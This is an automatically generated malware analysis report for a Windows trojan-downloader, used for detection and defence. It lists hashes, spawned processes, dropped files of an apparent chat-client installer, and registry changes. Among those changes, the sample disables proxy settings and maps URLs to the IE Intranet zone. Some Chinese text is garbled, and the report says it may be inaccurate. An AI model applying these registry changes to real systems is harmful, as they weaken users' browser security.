Skip to main content

Trojan.GenericKD.2312580_b1ac51a5a7


Trojan-Downloader.Win32.Agent.hfnz (Kaspersky), Trojan.GenericKD.2312580 (B) (Emsisoft), Trojan.GenericKD.2312580 (AdAware), Trojan.Win32.BHO.FD, Trojan.Win32.IEDummy.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: b1ac51a5a779001bbce64481e44ad086

SHA1: 597595dac3b7d7c1d962ad16dc228a66d02c797d

SHA256: e95bd5bfea1509740b13ab4bd083e5c00ba4807d38b1eb5f1c9cef5d437534a3

SSDeep: 24576:5vAkpgPiqUPWq3uWXQhVONmXO1P3PWBx:5lGN WSFQqmXORs

Size: 1339392 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171, UPolyXv05_v6

Company: no certificate found

Created at: 2015-04-19 14:43:20

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ResideClient.exe:652
net1.exe:604
ServiceClient.exe:704
net.exe:516
pingguo.exe:304
ServiceClient.e:548
%original file name%.exe:2040
girlshow_22000025816.exe:2024

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:

UCä¯ÀÀÆ÷ÃÀÅ®ÐãShimCacheMutexZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_iylkh

File activity

The process ResideClient.exe:652 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Application Data\GuaGua\Service\service.dat (23 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@guagua[1].txt (194 bytes)
%WinDir%\msgpi.log (48 bytes)
%WinDir%\gsyspd.log (96 bytes)

The process pingguo.exe:304 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\pingguo55\avutil-52.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Config.ini (51 bytes)
%Program Files%\pingguo55\RecommendInfo.dll (5064 bytes)
%Program Files%\pingguo55\UIToolTip.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\CapSreen.dll (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.png (8184 bytes)
%Program Files%\pingguo55\ResideClient.exe (9608 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\3.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenLeave.wav (16424 bytes)
%Program Files%\pingguo55\RtpStack.DLL (8184 bytes)
%Program Files%\pingguo55\ServiceClient.exe (4992 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\MFC71u.dll (33391 bytes)
%Program Files%\pingguo55\data\HTML\img\wrong.gif (995 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goodscat.dat (11 bytes)
%Program Files%\pingguo55\GGOle.dll (2392 bytes)
%Program Files%\pingguo55\IconToolTip.exe (11048 bytes)
%Program Files%\pingguo55\ServiceClient.dll (3616 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\rescate.dat (2 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_4_3.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\heaven_bk.gif (7192 bytes)
%Program Files%\pingguo55\ChatRoom\UIToolTip.dll (17848 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\bj_2.jpg (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.swf (784 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\EquipFile.dat (784 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\css\style.css (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_small.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\dice.gif (7 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodscat.dat (2 bytes)
%Program Files%\pingguo55\data\quickSign.swf (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\6.gif (14 bytes)
%Program Files%\pingguo55\ChatRoom\data\AudioEffect1.WAV (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\4.gif (12 bytes)
%Program Files%\pingguo55\ChatRoom\data\10.gif (784 bytes)
%Program Files%\pingguo55\VideoCapture.dll (6360 bytes)
%WinDir%\gsyspd.log (96 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.gif (1 bytes)
%Program Files%\pingguo55\Update.exe (9608 bytes)
%Program Files%\pingguo55\data\IllWord.dat (3 bytes)
%Program Files%\pingguo55\data\LgsDatacfg.dat (128 bytes)
%Program Files%\pingguo55\ChatRoom\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\data\HTML\img\cc.png (2 bytes)
%Program Files%\pingguo55\uninst.exe (5659 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goods.dat (30968 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_top.jpg (7 bytes)
%Program Files%\pingguo55\AudioCapture.dll (4992 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.png (6584 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.png (11048 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\1.png (4 bytes)
%Program Files%\pingguo55\Skin\DefFace.bmp (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (10 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_sel_icon.png (1 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di_on.gif (1 bytes)
%Program Files%\pingguo55\ImageScale.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\11.gif (1552 bytes)
%Program Files%\pingguo55\Æ»¹ûÊÓƵÉçÇø.url (50 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\ResFile.dat (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.gif (1 bytes)
%Program Files%\pingguo55\gdiplus.dll (49631 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\6.png (6 bytes)
%Program Files%\pingguo55\ChatRoom\data\LuckyGift500.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\2.gif (13 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.swf (784 bytes)
%Program Files%\pingguo55\msvcr71.dll (12088 bytes)
%Program Files%\pingguo55\Skin\Alarm.png (4 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\right.gif (540 bytes)
%Program Files%\pingguo55\VideoDecode2.dll (32824 bytes)
%Program Files%\pingguo55\data\HTML\img\button_left.gif (1 bytes)
%Program Files%\pingguo55\data\HTML\js\EvPng.js (8 bytes)
%Program Files%\pingguo55\Skin\MercuryEquipCenterSkin.ggs (15168 bytes)
%Program Files%\pingguo55\msvcp71.dll (16944 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\HitEggs.swf (42762 bytes)
%Program Files%\pingguo55\ChatRoom\VolumeCtrl.dll (5520 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
%Program Files%\pingguo55\AudioDecodec3.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\0.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\Alarm.png (4 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoods.dat (23296 bytes)
%Program Files%\pingguo55\Skin\DefFace_21.bmp (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\SignButton.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\DefFace.bmp (3 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\5.gif (13 bytes)
%Program Files%\pingguo55\VideoEncode2.dll (19152 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PointToPoint.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.png (3312 bytes)
%Program Files%\pingguo55\ChatRoom\VcrMediaLib.dll (11048 bytes)
%WinDir%\msgpi.log (48 bytes)
%Program Files%\pingguo55\Skin\MercuryUpdateSkin.ggs (10 bytes)
%Program Files%\pingguo55\ChatRoom\data\bigred.swf (6584 bytes)
%Program Files%\pingguo55\GGPlayerInstaller.exe (1552 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_big.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\fingerguessing.gif (7 bytes)
%Program Files%\pingguo55\Skin\default_female.png (15 bytes)
%Program Files%\pingguo55\Skin\MercuryChatHallSkin.ggs (247423 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jx_sm.gif (381 bytes)
%Program Files%\pingguo55\ChatRoom\skin\MercuryChatRoom.ggs (147801 bytes)
%Program Files%\pingguo55\ggplayerDownload.ini (63 bytes)
%Program Files%\pingguo55\data\Update.dat (81 bytes)
%Program Files%\pingguo55\Skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\ChatRoom\skin\worldBugleIcon.gif (784 bytes)
%Program Files%\pingguo55\data\CommonConfig.ini (458 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\flash.swf (3616 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.png (12024 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBackMercury.bmp (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di.gif (1 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_del_icon.png (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\2.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenEnter.wav (21216 bytes)
%Program Files%\pingguo55\data\HTML\css\news.css (2 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\res.dat (3312 bytes)
%Program Files%\pingguo55\EncWmv.dll (8184 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_main.jpg (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\7.gif (15 bytes)
%Program Files%\pingguo55\Pingguo55.exe (71670 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingLeave.wav (19152 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\jz_bbx.html (450 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PrivteMic.bmp (4992 bytes)
%Program Files%\pingguo55\data\common.dat (24 bytes)
%Program Files%\pingguo55\data\HTML\img\aa.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomClient.dll (10136 bytes)
%Documents and Settings%\%current user%\Desktop\Æ»¹ûÊÓƵÉçÇø.lnk (762 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomUI.dll (72992 bytes)
%Program Files%\pingguo55\data\HTML\img\button.png (3 bytes)
%Program Files%\pingguo55\ChatRoomUI.ocx (1552 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\жÔØÆ»¹ûÊÓƵÉçÇø.lnk (581 bytes)
%Program Files%\pingguo55\ChatRoom\data\3.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\1.png (5 bytes)
%Program Files%\pingguo55\data\Spread.dat (112 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\Æ»¹ûÊÓƵÉçÇø.lnk (774 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.png (6584 bytes)
%Program Files%\pingguo55\data\HTML\signloading.html (1 bytes)
%Program Files%\pingguo55\data\HTML\img\no_pic.jpg (1552 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resfileinfo.dat (16288 bytes)
%Program Files%\pingguo55\data\HTML\img\bb.png (2 bytes)
%Program Files%\pingguo55\Skin\default_male.png (15 bytes)
%Program Files%\pingguo55\ChatRoom\data\smallred.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.xml (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\5.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\4.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_16_9.bmp (8560 bytes)
%Program Files%\pingguo55\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\DnsSession.dll (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (918876 bytes)
%Program Files%\pingguo55\ChatRoom\data\1.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\2.png (4 bytes)
%Program Files%\pingguo55\ResCenter.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\QuickRegBorder.swf (1 bytes)
%Program Files%\pingguo55\crashreport.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.png (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\8.gif (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\9.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.xml (2 bytes)
%Program Files%\pingguo55\Install.ini (287 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.swf (784 bytes)
%Program Files%\pingguo55\AudioCodec3.dll (10136 bytes)
%Program Files%\pingguo55\Config.ini (67 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftPack.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\freeze.gif (615 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\FlashShow.exe (5520 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resillegalword.dat (920 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingEnter.wav (25824 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodsfileinfo.dat (23424 bytes)
%Program Files%\pingguo55\EquipCenter.dll (23424 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.png (3 bytes)
%Program Files%\pingguo55\data\addrs.dat (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\runway_gift.gif (4 bytes)
%Program Files%\pingguo55\Skin\DefSendedStarGift.gif (1 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jz_icon.gif (821 bytes)
%Program Files%\pingguo55\data\HTML\img\close.gif (395 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.xml (2 bytes)
%Program Files%\pingguo55\Skin\DefFace_16.bmp (824 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1.tmp (0 bytes)

The process %original file name%.exe:2040 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (604 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\z.ico (3 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (2892 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (277 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe (28288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\girlshow_22000025816.exe (33391 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (0 bytes)

The process girlshow_22000025816.exe:2024 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\pingguo55\Install\pingguo.exe.ggd (471123 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@pingguo55[1].txt (200 bytes)
%Program Files%\pingguo55\Install\pingguo.exe.ggb (905907 bytes)

The Trojan deletes the following file(s):

%Program Files%\pingguo55\Install\pingguo.exe.ggb (0 bytes)

Registry activity

The process ResideClient.exe:652 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\BaDu\Pcd]
"pcode" = "3B 0D E3 B9 9F FE 68 76 1B A6 EA 72 14 02 E3 A1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck]
"PS0" = "85 1D DA 38 19 9C B3 A7 66 80 65 5F CC FC 05 D4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\G2Pd]
"PD" = "71 58 C5 1D 3B C6 20 AC 27 CD 4E 34 A3 97 32 08"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 E3 F4 95 EC DA 0D 59 A6 F3 97 21 B4 96 12 87"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process net1.exe:604 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "60 C2 9E 3F 01 BF 63 B6 16 0C 9C 39 91 FD 33 BB"

The process ServiceClient.exe:704 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD 91 F4 8A 44 2F 16 72 47 EE 44 E6 7A 0C E8 D1"

The process net.exe:516 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 A2 76 B7 E8 E1 64 BA 93 B8 79 35 99 8F 4E 48"

The process pingguo.exe:304 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\TypeLib]
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"Publisher" = "½ð»ª³¤·çÐÅÏ¢¼¼ÊõÓÐÏÞ¹«Ë¾"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\TypeLib]
"Version" = "1.0"
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\ProgID]
"(Default)" = "Pingguo55.ChatRoomOcx.1"

[HKCR\Pingguo55.ChatRoomOcx.1\CLSID]
"(Default)" = "{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}"

[HKCR\Pingguo55.ChatRoomOcx.1]
"(Default)" = "ChatRoomOcx Control"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"DisplayName" = "Æ»¹ûÊÓƵÉçÇø 2014Beta3.6.2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\CLSID\{59761AC4-690A-4D51-8B30-5A4171430329}]
"(Default)" = "ChatRoomOcx Property Page"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pingguo55.exe]
"pingguo55Path" = "%Program Files%\pingguo55"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}]
"(Default)" = "_DChatRoomOcx"

[HKCR\Component Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}]
"409" = "Controls that are safely scriptable"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\Version]
"(Default)" = "3.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCR\CLSID\{59761AC4-690A-4D51-8B30-5A4171430329}\InprocServer32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0]
"(Default)" = "ChatRoomOcx ActiveX ¿Ø¼þÄ£¿é"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}]
"(Default)" = "ChatRoomOcx Control"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\HELPDIR]
"(Default)" = "%Program Files%\pingguo55"

[HKCR\Component Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}]
"409" = "Controls safely initializable from persistent data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\FLAGS]
"(Default)" = "2"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"DisplayIcon" = "%Program Files%\pingguo55\pingguo55.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}]
"(Default)" = "_DChatRoomOcxEvents"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\ToolboxBitmap32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX, 1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\Control]
"(Default)" = ""

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\TypeLib]
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"

[HKCR\pingguo55room\shell\open\command]
"(Default)" = "%Program Files%\pingguo55\pingguo55.exe %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck]
"PS0" = "E2 ED D7 4B 92 85 DE 22 54 CF 61 24 9A 63 E7 61"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\G2Pd]
"PD" = "8B B7 9C D6 61 46 3C 66 31 19 F3 37 F2 9F E2 59"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"DisplayVersion" = "2014Beta3.6.2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 44 7E 9B C1 F0 DB 2F 64 15 BE BF DF 50 BB 78"

[HKCR\pingguo55room]
"URL Protocol" = "%Program Files%\pingguo55\pingguo55.exe"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\0\win32]
"(Default)" = "%Program Files%\pingguo55\ChatRoomUI.ocx"

